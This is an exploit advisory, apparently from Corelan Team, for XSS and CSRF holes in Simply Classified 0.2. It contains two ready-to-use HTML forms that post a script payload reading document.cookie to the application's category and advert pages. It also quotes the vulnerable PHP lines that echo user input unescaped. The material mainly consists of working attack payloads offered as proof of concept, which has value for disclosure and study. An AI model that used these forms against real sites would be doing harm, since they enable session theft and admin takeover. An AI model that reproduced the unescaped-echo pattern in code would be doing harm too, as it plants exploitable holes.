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#
# Simply Classified 0.2 XSS & CSRF Vulnerabilities
# Found by: mr_me
# Tested On: Windows Vista
# Note: For educational purposes only
# Author contact date: 16th December 2009
# Advisory: http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-002-simply-classifieds-v0.2-xss-and-csrf/
# Greetz to: corelanc0d3r, rick2600, ekse & MarkoT from Corelan Team
#
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|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@corelan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
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[+] 1st exploit:
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<form name="new_category" action="http://[server]/classified/new_cats.php" method="POST">
<table align="center" width="550" border="0" cellspacing="1" cellpadding="1">
<tr>
<input name="category" type="hidden" value="hacked" size="37" maxlength="30" />
</tr>
<tr>
<input name="description" type="hidden" value="<script>alert(document.cookie)</script>" size="40" maxlength="40" />
</tr>
<tr>
<input type="submit" name="Create" id="Create" value="Create" >
</tr>
</table>
</form>
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[+] Vulnerability details:
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The author directly includes user controlled php variable into the HTML page ($ar and $description).
edit_cats.php - line 86:
<td align="center">Description:
<input name="description" type="text" value="<?php echo "$description";?>" autocomplete="off" size="40" maxlength="40" />
</td>
</tr>
edit_adverts.php - line 120:
<td colspan="2" align="center" style="font-size:14px"><?php echo "<b>$ar</b>"; ?> </td>
In order to trigger the vulnerability, a user/admin must be tricked into clicking on a malicous url.
This would allow a hacker to execute javascript code in the context of the user/admin and possibly gain administration access.
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[+] 2nd exploit:
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<form name="get_advert" action="http://[server]/classified/edit_advert.php" method="post">
<select name="advert_no" size="1">
<option value="<script>alert(document.cookie)</script>">editme :)
<input type="submit" name="Go" id="Go" value="Go" >
</form>
